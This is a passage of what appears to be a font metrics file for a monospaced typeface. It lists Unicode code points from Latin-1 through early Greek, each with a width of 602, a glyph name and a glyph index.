U 186 ; WX 602 ; N ordmasculine ; G 124
U 187 ; WX 602 ; N guillemotright ; G 125
U 188 ; WX 602 ; N onequarter ; G 126
U 189 ; WX 602 ; N onehalf ; G 127
U 190 ; WX 602 ; N threequarters ; G 128
U 191 ; WX 602 ; N questiondown ; G 129
U 192 ; WX 602 ; N Agrave ; G 130
U 193 ; WX 602 ; N Aacute ; G 131
U 194 ; WX 602 ; N Acircumflex ; G 132
U 195 ; WX 602 ; N Atilde ; G 133
U 196 ; WX 602 ; N Adieresis ; G 134
U 197 ; WX 602 ; N Aring ; G 135
U 198 ; WX 602 ; N AE ; G 136
U 199 ; WX 602 ; N Ccedilla ; G 137
U 200 ; WX 602 ; N Egrave ; G 138
U 201 ; WX 602 ; N Eacute ; G 139
U 202 ; WX 602 ; N Ecircumflex ; G 140
U 203 ; WX 602 ; N Edieresis ; G 141
U 204 ; WX 602 ; N Igrave ; G 142
U 205 ; WX 602 ; N Iacute ; G 143
U 206 ; WX 602 ; N Icircumflex ; G 144
U 207 ; WX 602 ; N Idieresis ; G 145
U 208 ; WX 602 ; N Eth ; G 146
U 209 ; WX 602 ; N Ntilde ; G 147
U 210 ; WX 602 ; N Ograve ; G 148
U 211 ; WX 602 ; N Oacute ; G 149
U 212 ; WX 602 ; N Ocircumflex ; G 150
U 213 ; WX 602 ; N Otilde ; G 151
U 214 ; WX 602 ; N Odieresis ; G 152
U 215 ; WX 602 ; N multiply ; G 153
U 216 ; WX 602 ; N Oslash ; G 154
U 217 ; WX 602 ; N Ugrave ; G 155
U 218 ; WX 602 ; N Uacute ; G 156
U 219 ; WX 602 ; N Ucircumflex ; G 157
U 220 ; WX 602 ; N Udieresis ; G 158
U 221 ; WX 602 ; N Yacute ; G 159
U 222 ; WX 602 ; N Thorn ; G 160
U 223 ; WX 602 ; N germandbls ; G 161
U 224 ; WX 602 ; N agrave ; G 162
U 225 ; WX 602 ; N aacute ; G 163
U 226 ; WX 602 ; N acircumflex ; G 164
U 227 ; WX 602 ; N atilde ; G 165
U 228 ; WX 602 ; N adieresis ; G 166
U 229 ; WX 602 ; N aring ; G 167
U 230 ; WX 602 ; N ae ; G 168
U 231 ; WX 602 ; N ccedilla ; G 169
U 232 ; WX 602 ; N egrave ; G 170
U 233 ; WX 602 ; N eacute ; G 171
U 234 ; WX 602 ; N ecircumflex ; G 172
U 235 ; WX 602 ; N edieresis ; G 173
U 236 ; WX 602 ; N igrave ; G 174
U 237 ; WX 602 ; N iacute ; G 175
U 238 ; WX 602 ; N icircumflex ; G 176
U 239 ; WX 602 ; N idieresis ; G 177
U 240 ; WX 602 ; N eth ; G 178
U 241 ; WX 602 ; N ntilde ; G 179
U 242 ; WX 602 ; N ograve ; G 180
U 243 ; WX 602 ; N oacute ; G 181
U 244 ; WX 602 ; N ocircumflex ; G 182
U 245 ; WX 602 ; N otilde ; G 183
U 246 ; WX 602 ; N odieresis ; G 184
U 247 ; WX 602 ; N divide ; G 185
U 248 ; WX 602 ; N oslash ; G 186
U 249 ; WX 602 ; N ugrave ; G 187
U 250 ; WX 602 ; N uacute ; G 188
U 251 ; WX 602 ; N ucircumflex ; G 189
U 252 ; WX 602 ; N udieresis ; G 190
U 253 ; WX 602 ; N yacute ; G 191
U 254 ; WX 602 ; N thorn ; G 192
U 255 ; WX 602 ; N ydieresis ; G 193
U 256 ; WX 602 ; N Amacron ; G 194
U 257 ; WX 602 ; N amacron ; G 195
U 258 ; WX 602 ; N Abreve ; G 196
U 259 ; WX 602 ; N abreve ; G 197
U 260 ; WX 602 ; N Aogonek ; G 198
U 261 ; WX 602 ; N aogonek ; G 199
U 262 ; WX 602 ; N Cacute ; G 200
U 263 ; WX 602 ; N cacute ; G 201
U 264 ; WX 602 ; N Ccircumflex ; G 202
U 265 ; WX 602 ; N ccircumflex ; G 203
U 266 ; WX 602 ; N Cdotaccent ; G 204
U 267 ; WX 602 ; N cdotaccent ; G 205
U 268 ; WX 602 ; N Ccaron ; G 206
U 269 ; WX 602 ; N ccaron ; G 207
U 270 ; WX 602 ; N Dcaron ; G 208
U 271 ; WX 602 ; N dcaron ; G 209
U 272 ; WX 602 ; N Dcroat ; G 210
U 273 ; WX 602 ; N dmacron ; G 211
U 274 ; WX 602 ; N Emacron ; G 212
U 275 ; WX 602 ; N emacron ; G 213
U 276 ; WX 602 ; N Ebreve ; G 214
U 277 ; WX 602 ; N ebreve ; G 215
U 278 ; WX 602 ; N Edotaccent ; G 216
U 279 ; WX 602 ; N edotaccent ; G 217
U 280 ; WX 602 ; N Eogonek ; G 218
U 281 ; WX 602 ; N eogonek ; G 219
U 282 ; WX 602 ; N Ecaron ; G 220
U 283 ; WX 602 ; N ecaron ; G 221
U 284 ; WX 602 ; N Gcircumflex ; G 222
U 285 ; WX 602 ; N gcircumflex ; G 223
U 286 ; WX 602 ; N Gbreve ; G 224
U 287 ; WX 602 ; N gbreve ; G 225
U 288 ; WX 602 ; N Gdotaccent ; G 226
U 289 ; WX 602 ; N gdotaccent ; G 227
U 290 ; WX 602 ; N Gcommaaccent ; G 228
U 291 ; WX 602 ; N gcommaaccent ; G 229
U 292 ; WX 602 ; N Hcircumflex ; G 230
U 293 ; WX 602 ; N hcircumflex ; G 231
U 294 ; WX 602 ; N Hbar ; G 232
U 295 ; WX 602 ; N hbar ; G 233
U 296 ; WX 602 ; N Itilde ; G 234
U 297 ; WX 602 ; N itilde ; G 235
U 298 ; WX 602 ; N Imacron ; G 236
U 299 ; WX 602 ; N imacron ; G 237
U 300 ; WX 602 ; N Ibreve ; G 238
U 301 ; WX 602 ; N ibreve ; G 239
U 302 ; WX 602 ; N Iogonek ; G 240
U 303 ; WX 602 ; N iogonek ; G 241
U 304 ; WX 602 ; N Idot ; G 242
U 305 ; WX 602 ; N dotlessi ; G 243
U 306 ; WX 602 ; N IJ ; G 244
U 307 ; WX 602 ; N ij ; G 245
U 308 ; WX 602 ; N Jcircumflex ; G 246
U 309 ; WX 602 ; N jcircumflex ; G 247
U 310 ; WX 602 ; N Kcommaaccent ; G 248
U 311 ; WX 602 ; N kcommaaccent ; G 249
U 312 ; WX 602 ; N kgreenlandic ; G 250
U 313 ; WX 602 ; N Lacute ; G 251
U 314 ; WX 602 ; N lacute ; G 252
U 315 ; WX 602 ; N Lcommaaccent ; G 253
U 316 ; WX 602 ; N lcommaaccent ; G 254
U 317 ; WX 602 ; N Lcaron ; G 255
U 318 ; WX 602 ; N lcaron ; G 256
U 319 ; WX 602 ; N Ldot ; G 257
U 320 ; WX 602 ; N ldot ; G 258
U 321 ; WX 602 ; N Lslash ; G 259
U 322 ; WX 602 ; N lslash ; G 260
U 323 ; WX 602 ; N Nacute ; G 261
U 324 ; WX 602 ; N nacute ; G 262
U 325 ; WX 602 ; N Ncommaaccent ; G 263
U 326 ; WX 602 ; N ncommaaccent ; G 264
U 327 ; WX 602 ; N Ncaron ; G 265
U 328 ; WX 602 ; N ncaron ; G 266
U 329 ; WX 602 ; N napostrophe ; G 267
U 330 ; WX 602 ; N Eng ; G 268
U 331 ; WX 602 ; N eng ; G 269
U 332 ; WX 602 ; N Omacron ; G 270
U 333 ; WX 602 ; N omacron ; G 271
U 334 ; WX 602 ; N Obreve ; G 272
U 335 ; WX 602 ; N obreve ; G 273
U 336 ; WX 602 ; N Ohungarumlaut ; G 274
U 337 ; WX 602 ; N ohungarumlaut ; G 275
U 338 ; WX 602 ; N OE ; G 276
U 339 ; WX 602 ; N oe ; G 277
U 340 ; WX 602 ; N Racute ; G 278
U 341 ; WX 602 ; N racute ; G 279
U 342 ; WX 602 ; N Rcommaaccent ; G 280
U 343 ; WX 602 ; N rcommaaccent ; G 281
U 344 ; WX 602 ; N Rcaron ; G 282
U 345 ; WX 602 ; N rcaron ; G 283
U 346 ; WX 602 ; N Sacute ; G 284
U 347 ; WX 602 ; N sacute ; G 285
U 348 ; WX 602 ; N Scircumflex ; G 286
U 349 ; WX 602 ; N scircumflex ; G 287
U 350 ; WX 602 ; N Scedilla ; G 288
U 351 ; WX 602 ; N scedilla ; G 289
U 352 ; WX 602 ; N Scaron ; G 290
U 353 ; WX 602 ; N scaron ; G 291
U 354 ; WX 602 ; N Tcommaaccent ; G 292
U 355 ; WX 602 ; N tcommaaccent ; G 293
U 356 ; WX 602 ; N Tcaron ; G 294
U 357 ; WX 602 ; N tcaron ; G 295
U 358 ; WX 602 ; N Tbar ; G 296
U 359 ; WX 602 ; N tbar ; G 297
U 360 ; WX 602 ; N Utilde ; G 298
U 361 ; WX 602 ; N utilde ; G 299
U 362 ; WX 602 ; N Umacron ; G 300
U 363 ; WX 602 ; N umacron ; G 301
U 364 ; WX 602 ; N Ubreve ; G 302
U 365 ; WX 602 ; N ubreve ; G 303
U 366 ; WX 602 ; N Uring ; G 304
U 367 ; WX 602 ; N uring ; G 305
U 368 ; WX 602 ; N Uhungarumlaut ; G 306
U 369 ; WX 602 ; N uhungarumlaut ; G 307
U 370 ; WX 602 ; N Uogonek ; G 308
U 371 ; WX 602 ; N uogonek ; G 309
U 372 ; WX 602 ; N Wcircumflex ; G 310
U 373 ; WX 602 ; N wcircumflex ; G 311
U 374 ; WX 602 ; N Ycircumflex ; G 312
U 375 ; WX 602 ; N ycircumflex ; G 313
U 376 ; WX 602 ; N Ydieresis ; G 314
U 377 ; WX 602 ; N Zacute ; G 315
U 378 ; WX 602 ; N zacute ; G 316
U 379 ; WX 602 ; N Zdotaccent ; G 317
U 380 ; WX 602 ; N zdotaccent ; G 318
U 381 ; WX 602 ; N Zcaron ; G 319
U 382 ; WX 602 ; N zcaron ; G 320
U 383 ; WX 602 ; N longs ; G 321
U 384 ; WX 602 ; N uni0180 ; G 322
U 385 ; WX 602 ; N uni0181 ; G 323
U 386 ; WX 602 ; N uni0182 ; G 324
U 387 ; WX 602 ; N uni0183 ; G 325
U 388 ; WX 602 ; N uni0184 ; G 326
U 389 ; WX 602 ; N uni0185 ; G 327
U 390 ; WX 602 ; N uni0186 ; G 328
U 391 ; WX 602 ; N uni0187 ; G 329
U 392 ; WX 602 ; N uni0188 ; G 330
U 393 ; WX 602 ; N uni0189 ; G 331
U 394 ; WX 602 ; N uni018A ; G 332
U 395 ; WX 602 ; N uni018B ; G 333
U 396 ; WX 602 ; N uni018C ; G 334
U 397 ; WX 602 ; N uni018D ; G 335
U 398 ; WX 602 ; N uni018E ; G 336
U 399 ; WX 602 ; N uni018F ; G 337
U 400 ; WX 602 ; N uni0190 ; G 338
U 401 ; WX 602 ; N uni0191 ; G 339
U 402 ; WX 602 ; N florin ; G 340
U 403 ; WX 602 ; N uni0193 ; G 341
U 404 ; WX 602 ; N uni0194 ; G 342
U 405 ; WX 602 ; N uni0195 ; G 343
U 406 ; WX 602 ; N uni0196 ; G 344
U 407 ; WX 602 ; N uni0197 ; G 345
U 408 ; WX 602 ; N uni0198 ; G 346
U 409 ; WX 602 ; N uni0199 ; G 347
U 410 ; WX 602 ; N uni019A ; G 348
U 411 ; WX 602 ; N uni019B ; G 349
U 412 ; WX 602 ; N uni019C ; G 350
U 413 ; WX 602 ; N uni019D ; G 351
U 414 ; WX 602 ; N uni019E ; G 352
U 415 ; WX 602 ; N uni019F ; G 353
U 416 ; WX 602 ; N Ohorn ; G 354
U 417 ; WX 602 ; N ohorn ; G 355
U 418 ; WX 602 ; N uni01A2 ; G 356
U 419 ; WX 602 ; N uni01A3 ; G 357
U 420 ; WX 602 ; N uni01A4 ; G 358
U 421 ; WX 602 ; N uni01A5 ; G 359
U 422 ; WX 602 ; N uni01A6 ; G 360
U 423 ; WX 602 ; N uni01A7 ; G 361
U 424 ; WX 602 ; N uni01A8 ; G 362
U 425 ; WX 602 ; N uni01A9 ; G 363
U 426 ; WX 602 ; N uni01AA ; G 364
U 427 ; WX 602 ; N uni01AB ; G 365
U 428 ; WX 602 ; N uni01AC ; G 366
U 429 ; WX 602 ; N uni01AD ; G 367
U 430 ; WX 602 ; N uni01AE ; G 368
U 431 ; WX 602 ; N Uhorn ; G 369
U 432 ; WX 602 ; N uhorn ; G 370
U 433 ; WX 602 ; N uni01B1 ; G 371
U 434 ; WX 602 ; N uni01B2 ; G 372
U 435 ; WX 602 ; N uni01B3 ; G 373
U 436 ; WX 602 ; N uni01B4 ; G 374
U 437 ; WX 602 ; N uni01B5 ; G 375
U 438 ; WX 602 ; N uni01B6 ; G 376
U 439 ; WX 602 ; N uni01B7 ; G 377
U 440 ; WX 602 ; N uni01B8 ; G 378
U 441 ; WX 602 ; N uni01B9 ; G 379
U 442 ; WX 602 ; N uni01BA ; G 380
U 443 ; WX 602 ; N uni01BB ; G 381
U 444 ; WX 602 ; N uni01BC ; G 382
U 445 ; WX 602 ; N uni01BD ; G 383
U 446 ; WX 602 ; N uni01BE ; G 384
U 447 ; WX 602 ; N uni01BF ; G 385
U 448 ; WX 602 ; N uni01C0 ; G 386
U 449 ; WX 602 ; N uni01C1 ; G 387
U 450 ; WX 602 ; N uni01C2 ; G 388
U 451 ; WX 602 ; N uni01C3 ; G 389
U 461 ; WX 602 ; N uni01CD ; G 390
U 462 ; WX 602 ; N uni01CE ; G 391
U 463 ; WX 602 ; N uni01CF ; G 392
U 464 ; WX 602 ; N uni01D0 ; G 393
U 465 ; WX 602 ; N uni01D1 ; G 394
U 466 ; WX 602 ; N uni01D2 ; G 395
U 467 ; WX 602 ; N uni01D3 ; G 396
U 468 ; WX 602 ; N uni01D4 ; G 397
U 469 ; WX 602 ; N uni01D5 ; G 398
U 470 ; WX 602 ; N uni01D6 ; G 399
U 471 ; WX 602 ; N uni01D7 ; G 400
U 472 ; WX 602 ; N uni01D8 ; G 401
U 473 ; WX 602 ; N uni01D9 ; G 402
U 474 ; WX 602 ; N uni01DA ; G 403
U 475 ; WX 602 ; N uni01DB ; G 404
U 476 ; WX 602 ; N uni01DC ; G 405
U 477 ; WX 602 ; N uni01DD ; G 406
U 479 ; WX 602 ; N uni01DF ; G 407
U 480 ; WX 602 ; N uni01E0 ; G 408
U 481 ; WX 602 ; N uni01E1 ; G 409
U 482 ; WX 602 ; N uni01E2 ; G 410
U 483 ; WX 602 ; N uni01E3 ; G 411
U 486 ; WX 602 ; N Gcaron ; G 412
U 487 ; WX 602 ; N gcaron ; G 413
U 488 ; WX 602 ; N uni01E8 ; G 414
U 489 ; WX 602 ; N uni01E9 ; G 415
U 490 ; WX 602 ; N uni01EA ; G 416
U 491 ; WX 602 ; N uni01EB ; G 417
U 492 ; WX 602 ; N uni01EC ; G 418
U 493 ; WX 602 ; N uni01ED ; G 419
U 494 ; WX 602 ; N uni01EE ; G 420
U 495 ; WX 602 ; N uni01EF ; G 421
U 500 ; WX 602 ; N uni01F4 ; G 422
U 501 ; WX 602 ; N uni01F5 ; G 423
U 502 ; WX 602 ; N uni01F6 ; G 424
U 504 ; WX 602 ; N uni01F8 ; G 425
U 505 ; WX 602 ; N uni01F9 ; G 426
U 508 ; WX 602 ; N AEacute ; G 427
U 509 ; WX 602 ; N aeacute ; G 428
U 510 ; WX 602 ; N Oslashacute ; G 429
U 511 ; WX 602 ; N oslashacute ; G 430
U 512 ; WX 602 ; N uni0200 ; G 431
U 513 ; WX 602 ; N uni0201 ; G 432
U 514 ; WX 602 ; N uni0202 ; G 433
U 515 ; WX 602 ; N uni0203 ; G 434
U 516 ; WX 602 ; N uni0204 ; G 435
U 517 ; WX 602 ; N uni0205 ; G 436
U 518 ; WX 602 ; N uni0206 ; G 437
U 519 ; WX 602 ; N uni0207 ; G 438
U 520 ; WX 602 ; N uni0208 ; G 439
U 521 ; WX 602 ; N uni0209 ; G 440
U 522 ; WX 602 ; N uni020A ; G 441
U 523 ; WX 602 ; N uni020B ; G 442
U 524 ; WX 602 ; N uni020C ; G 443
U 525 ; WX 602 ; N uni020D ; G 444
U 526 ; WX 602 ; N uni020E ; G 445
U 527 ; WX 602 ; N uni020F ; G 446
U 528 ; WX 602 ; N uni0210 ; G 447
U 529 ; WX 602 ; N uni0211 ; G 448
U 530 ; WX 602 ; N uni0212 ; G 449
U 531 ; WX 602 ; N uni0213 ; G 450
U 532 ; WX 602 ; N uni0214 ; G 451
U 533 ; WX 602 ; N uni0215 ; G 452
U 534 ; WX 602 ; N uni0216 ; G 453
U 535 ; WX 602 ; N uni0217 ; G 454
U 536 ; WX 602 ; N Scommaaccent ; G 455
U 537 ; WX 602 ; N scommaaccent ; G 456
U 538 ; WX 602 ; N uni021A ; G 457
U 539 ; WX 602 ; N uni021B ; G 458
U 540 ; WX 602 ; N uni021C ; G 459
U 541 ; WX 602 ; N uni021D ; G 460
U 542 ; WX 602 ; N uni021E ; G 461
U 543 ; WX 602 ; N uni021F ; G 462
U 545 ; WX 602 ; N uni0221 ; G 463
U 548 ; WX 602 ; N uni0224 ; G 464
U 549 ; WX 602 ; N uni0225 ; G 465
U 550 ; WX 602 ; N uni0226 ; G 466
U 551 ; WX 602 ; N uni0227 ; G 467
U 552 ; WX 602 ; N uni0228 ; G 468
U 553 ; WX 602 ; N uni0229 ; G 469
U 554 ; WX 602 ; N uni022A ; G 470
U 555 ; WX 602 ; N uni022B ; G 471
U 556 ; WX 602 ; N uni022C ; G 472
U 557 ; WX 602 ; N uni022D ; G 473
U 558 ; WX 602 ; N uni022E ; G 474
U 559 ; WX 602 ; N uni022F ; G 475
U 560 ; WX 602 ; N uni0230 ; G 476
U 561 ; WX 602 ; N uni0231 ; G 477
U 562 ; WX 602 ; N uni0232 ; G 478
U 563 ; WX 602 ; N uni0233 ; G 479
U 564 ; WX 602 ; N uni0234 ; G 480
U 565 ; WX 602 ; N uni0235 ; G 481
U 566 ; WX 602 ; N uni0236 ; G 482
U 567 ; WX 602 ; N dotlessj ; G 483
U 568 ; WX 602 ; N uni0238 ; G 484
U 569 ; WX 602 ; N uni0239 ; G 485
U 570 ; WX 602 ; N uni023A ; G 486
U 571 ; WX 602 ; N uni023B ; G 487
U 572 ; WX 602 ; N uni023C ; G 488
U 573 ; WX 602 ; N uni023D ; G 489
U 574 ; WX 602 ; N uni023E ; G 490
U 575 ; WX 602 ; N uni023F ; G 491
U 576 ; WX 602 ; N uni0240 ; G 492
U 577 ; WX 602 ; N uni0241 ; G 493
U 579 ; WX 602 ; N uni0243 ; G 494
U 580 ; WX 602 ; N uni0244 ; G 495
U 581 ; WX 602 ; N uni0245 ; G 496
U 588 ; WX 602 ; N uni024C ; G 497
U 589 ; WX 602 ; N uni024D ; G 498
U 592 ; WX 602 ; N uni0250 ; G 499
U 593 ; WX 602 ; N uni0251 ; G 500
U 594 ; WX 602 ; N uni0252 ; G 501
U 595 ; WX 602 ; N uni0253 ; G 502
U 596 ; WX 602 ; N uni0254 ; G 503
U 597 ; WX 602 ; N uni0255 ; G 504
U 598 ; WX 602 ; N uni0256 ; G 505
U 599 ; WX 602 ; N uni0257 ; G 506
U 600 ; WX 602 ; N uni0258 ; G 507
U 601 ; WX 602 ; N uni0259 ; G 508
U 602 ; WX 602 ; N uni025A ; G 509
U 603 ; WX 602 ; N uni025B ; G 510
U 604 ; WX 602 ; N uni025C ; G 511
U 605 ; WX 602 ; N uni025D ; G 512
U 606 ; WX 602 ; N uni025E ; G 513
U 607 ; WX 602 ; N uni025F ; G 514
U 608 ; WX 602 ; N uni0260 ; G 515
U 609 ; WX 602 ; N uni0261 ; G 516
U 610 ; WX 602 ; N uni0262 ; G 517
U 611 ; WX 602 ; N uni0263 ; G 518
U 612 ; WX 602 ; N uni0264 ; G 519
U 613 ; WX 602 ; N uni0265 ; G 520
U 614 ; WX 602 ; N uni0266 ; G 521
U 615 ; WX 602 ; N uni0267 ; G 522
U 616 ; WX 602 ; N uni0268 ; G 523
U 617 ; WX 602 ; N uni0269 ; G 524
U 618 ; WX 602 ; N uni026A ; G 525
U 619 ; WX 602 ; N uni026B ; G 526
U 620 ; WX 602 ; N uni026C ; G 527
U 621 ; WX 602 ; N uni026D ; G 528
U 622 ; WX 602 ; N uni026E ; G 529
U 623 ; WX 602 ; N uni026F ; G 530
U 624 ; WX 602 ; N uni0270 ; G 531
U 625 ; WX 602 ; N uni0271 ; G 532
U 626 ; WX 602 ; N uni0272 ; G 533
U 627 ; WX 602 ; N uni0273 ; G 534
U 628 ; WX 602 ; N uni0274 ; G 535
U 629 ; WX 602 ; N uni0275 ; G 536
U 630 ; WX 602 ; N uni0276 ; G 537
U 631 ; WX 602 ; N uni0277 ; G 538
U 632 ; WX 602 ; N uni0278 ; G 539
U 633 ; WX 602 ; N uni0279 ; G 540
U 634 ; WX 602 ; N uni027A ; G 541
U 635 ; WX 602 ; N uni027B ; G 542
U 636 ; WX 602 ; N uni027C ; G 543
U 637 ; WX 602 ; N uni027D ; G 544
U 638 ; WX 602 ; N uni027E ; G 545
U 639 ; WX 602 ; N uni027F ; G 546
U 640 ; WX 602 ; N uni0280 ; G 547
U 641 ; WX 602 ; N uni0281 ; G 548
U 642 ; WX 602 ; N uni0282 ; G 549
U 643 ; WX 602 ; N uni0283 ; G 550
U 644 ; WX 602 ; N uni0284 ; G 551
U 645 ; WX 602 ; N uni0285 ; G 552
U 646 ; WX 602 ; N uni0286 ; G 553
U 647 ; WX 602 ; N uni0287 ; G 554
U 648 ; WX 602 ; N uni0288 ; G 555
U 649 ; WX 602 ; N uni0289 ; G 556
U 650 ; WX 602 ; N uni028A ; G 557
U 651 ; WX 602 ; N uni028B ; G 558
U 652 ; WX 602 ; N uni028C ; G 559
U 653 ; WX 602 ; N uni028D ; G 560
U 654 ; WX 602 ; N uni028E ; G 561
U 655 ; WX 602 ; N uni028F ; G 562
U 656 ; WX 602 ; N uni0290 ; G 563
U 657 ; WX 602 ; N uni0291 ; G 564
U 658 ; WX 602 ; N uni0292 ; G 565
U 659 ; WX 602 ; N uni0293 ; G 566
U 660 ; WX 602 ; N uni0294 ; G 567
U 661 ; WX 602 ; N uni0295 ; G 568
U 662 ; WX 602 ; N uni0296 ; G 569
U 663 ; WX 602 ; N uni0297 ; G 570
U 664 ; WX 602 ; N uni0298 ; G 571
U 665 ; WX 602 ; N uni0299 ; G 572
U 666 ; WX 602 ; N uni029A ; G 573
U 667 ; WX 602 ; N uni029B ; G 574
U 668 ; WX 602 ; N uni029C ; G 575
U 669 ; WX 602 ; N uni029D ; G 576
U 670 ; WX 602 ; N uni029E ; G 577
U 671 ; WX 602 ; N uni029F ; G 578
U 672 ; WX 602 ; N uni02A0 ; G 579
U 673 ; WX 602 ; N uni02A1 ; G 580
U 674 ; WX 602 ; N uni02A2 ; G 581
U 675 ; WX 602 ; N uni02A3 ; G 582
U 676 ; WX 602 ; N uni02A4 ; G 583
U 677 ; WX 602 ; N uni02A5 ; G 584
U 678 ; WX 602 ; N uni02A6 ; G 585
U 679 ; WX 602 ; N uni02A7 ; G 586
U 680 ; WX 602 ; N uni02A8 ; G 587
U 681 ; WX 602 ; N uni02A9 ; G 588
U 682 ; WX 602 ; N uni02AA ; G 589
U 683 ; WX 602 ; N uni02AB ; G 590
U 684 ; WX 602 ; N uni02AC ; G 591
U 685 ; WX 602 ; N uni02AD ; G 592
U 686 ; WX 602 ; N uni02AE ; G 593
U 687 ; WX 602 ; N uni02AF ; G 594
U 688 ; WX 602 ; N uni02B0 ; G 595
U 689 ; WX 602 ; N uni02B1 ; G 596
U 690 ; WX 602 ; N uni02B2 ; G 597
U 691 ; WX 602 ; N uni02B3 ; G 598
U 692 ; WX 602 ; N uni02B4 ; G 599
U 693 ; WX 602 ; N uni02B5 ; G 600
U 694 ; WX 602 ; N uni02B6 ; G 601
U 695 ; WX 602 ; N uni02B7 ; G 602
U 696 ; WX 602 ; N uni02B8 ; G 603
U 697 ; WX 602 ; N uni02B9 ; G 604
U 699 ; WX 602 ; N uni02BB ; G 605
U 700 ; WX 602 ; N uni02BC ; G 606
U 701 ; WX 602 ; N uni02BD ; G 607
U 702 ; WX 602 ; N uni02BE ; G 608
U 703 ; WX 602 ; N uni02BF ; G 609
U 704 ; WX 602 ; N uni02C0 ; G 610
U 705 ; WX 602 ; N uni02C1 ; G 611
U 710 ; WX 602 ; N circumflex ; G 612
U 711 ; WX 602 ; N caron ; G 613
U 712 ; WX 602 ; N uni02C8 ; G 614
U 713 ; WX 602 ; N uni02C9 ; G 615
U 716 ; WX 602 ; N uni02CC ; G 616
U 717 ; WX 602 ; N uni02CD ; G 617
U 718 ; WX 602 ; N uni02CE ; G 618
U 719 ; WX 602 ; N uni02CF ; G 619
U 720 ; WX 602 ; N uni02D0 ; G 620
U 721 ; WX 602 ; N uni02D1 ; G 621
U 722 ; WX 602 ; N uni02D2 ; G 622
U 723 ; WX 602 ; N uni02D3 ; G 623
U 726 ; WX 602 ; N uni02D6 ; G 624
U 727 ; WX 602 ; N uni02D7 ; G 625
U 728 ; WX 602 ; N breve ; G 626
U 729 ; WX 602 ; N dotaccent ; G 627
U 730 ; WX 602 ; N ring ; G 628
U 731 ; WX 602 ; N ogonek ; G 629
U 732 ; WX 602 ; N tilde ; G 630
U 733 ; WX 602 ; N hungarumlaut ; G 631
U 734 ; WX 602 ; N uni02DE ; G 632
U 736 ; WX 602 ; N uni02E0 ; G 633
U 737 ; WX 602 ; N uni02E1 ; G 634
U 738 ; WX 602 ; N uni02E2 ; G 635
U 739 ; WX 602 ; N uni02E3 ; G 636
U 740 ; WX 602 ; N uni02E4 ; G 637
U 741 ; WX 602 ; N uni02E5 ; G 638
U 742 ; WX 602 ; N uni02E6 ; G 639
U 743 ; WX 602 ; N uni02E7 ; G 640
U 744 ; WX 602 ; N uni02E8 ; G 641
U 745 ; WX 602 ; N uni02E9 ; G 642
U 750 ; WX 602 ; N uni02EE ; G 643
U 755 ; WX 602 ; N uni02F3 ; G 644
U 768 ; WX 602 ; N gravecomb ; G 645
U 769 ; WX 602 ; N acutecomb ; G 646
U 770 ; WX 602 ; N uni0302 ; G 647
U 771 ; WX 602 ; N tildecomb ; G 648
U 772 ; WX 602 ; N uni0304 ; G 649
U 773 ; WX 602 ; N uni0305 ; G 650
U 774 ; WX 602 ; N uni0306 ; G 651
U 775 ; WX 602 ; N uni0307 ; G 652
U 776 ; WX 602 ; N uni0308 ; G 653
U 777 ; WX 602 ; N hookabovecomb ; G 654
U 778 ; WX 602 ; N uni030A ; G 655
U 779 ; WX 602 ; N uni030B ; G 656
U 780 ; WX 602 ; N uni030C ; G 657
U 781 ; WX 602 ; N uni030D ; G 658
U 782 ; WX 602 ; N uni030E ; G 659
U 783 ; WX 602 ; N uni030F ; G 660
U 784 ; WX 602 ; N uni0310 ; G 661
U 785 ; WX 602 ; N uni0311 ; G 662
U 786 ; WX 602 ; N uni0312 ; G 663
U 787 ; WX 602 ; N uni0313 ; G 664
U 788 ; WX 602 ; N uni0314 ; G 665
U 789 ; WX 602 ; N uni0315 ; G 666
U 790 ; WX 602 ; N uni0316 ; G 667
U 791 ; WX 602 ; N uni0317 ; G 668
U 792 ; WX 602 ; N uni0318 ; G 669
U 793 ; WX 602 ; N uni0319 ; G 670
U 794 ; WX 602 ; N uni031A ; G 671
U 795 ; WX 602 ; N uni031B ; G 672
U 796 ; WX 602 ; N uni031C ; G 673
U 797 ; WX 602 ; N uni031D ; G 674
U 798 ; WX 602 ; N uni031E ; G 675
U 799 ; WX 602 ; N uni031F ; G 676
U 800 ; WX 602 ; N uni0320 ; G 677
U 801 ; WX 602 ; N uni0321 ; G 678
U 802 ; WX 602 ; N uni0322 ; G 679
U 803 ; WX 602 ; N dotbelowcomb ; G 680
U 804 ; WX 602 ; N uni0324 ; G 681
U 805 ; WX 602 ; N uni0325 ; G 682
U 806 ; WX 602 ; N uni0326 ; G 683
U 807 ; WX 602 ; N uni0327 ; G 684
U 808 ; WX 602 ; N uni0328 ; G 685
U 809 ; WX 602 ; N uni0329 ; G 686
U 810 ; WX 602 ; N uni032A ; G 687
U 811 ; WX 602 ; N uni032B ; G 688
U 812 ; WX 602 ; N uni032C ; G 689
U 813 ; WX 602 ; N uni032D ; G 690
U 814 ; WX 602 ; N uni032E ; G 691
U 815 ; WX 602 ; N uni032F ; G 692
U 816 ; WX 602 ; N uni0330 ; G 693
U 817 ; WX 602 ; N uni0331 ; G 694
U 818 ; WX 602 ; N uni0332 ; G 695
U 819 ; WX 602 ; N uni0333 ; G 696
U 820 ; WX 602 ; N uni0334 ; G 697
U 821 ; WX 602 ; N uni0335 ; G 698
U 822 ; WX 602 ; N uni0336 ; G 699
U 823 ; WX 602 ; N uni0337 ; G 700
U 824 ; WX 602 ; N uni0338 ; G 701
U 825 ; WX 602 ; N uni0339 ; G 702
U 826 ; WX 602 ; N uni033A ; G 703
U 827 ; WX 602 ; N uni033B ; G 704
U 828 ; WX 602 ; N uni033C ; G 705
U 829 ; WX 602 ; N uni033D ; G 706
U 830 ; WX 602 ; N uni033E ; G 707
U 831 ; WX 602 ; N uni033F ; G 708
U 835 ; WX 602 ; N uni0343 ; G 709
U 856 ; WX 602 ; N uni0358 ; G 710
U 865 ; WX 602 ; N uni0361 ; G 711
U 884 ; WX 602 ; N uni0374 ; G 712
U 885 ; WX 602 ; N uni0375 ; G 713
U 886 ; WX 602 ; N uni0376 ; G 714
U 887 ; WX 602 ; N uni0377 ; G 715
U 890 ; WX 602 ; N uni037A ; G 716
U 891 ; WX 602 ; N uni037B ; G 717
U 892 ; WX 602 ; N uni037C ; G 718
U 893 ; WX 602 ; N uni037D ; G 719
U 894 ; WX 602 ; N uni037E ; G 720
U 895 ; WX 602 ; N uni037F ; G 721
U 900 ; WX 602 ; N tonos ; G 722
U 901 ; WX 602 ; N dieresistonos ; G 723
U 902 ; WX 602 ; N Alphatonos ; G 724
U 903 ; WX 602 ; N anoteleia ; G 725
U 904 ; WX 602 ; N Epsilontonos ; G 726
U 905 ; WX 602 ; N Etatonos ; G 727
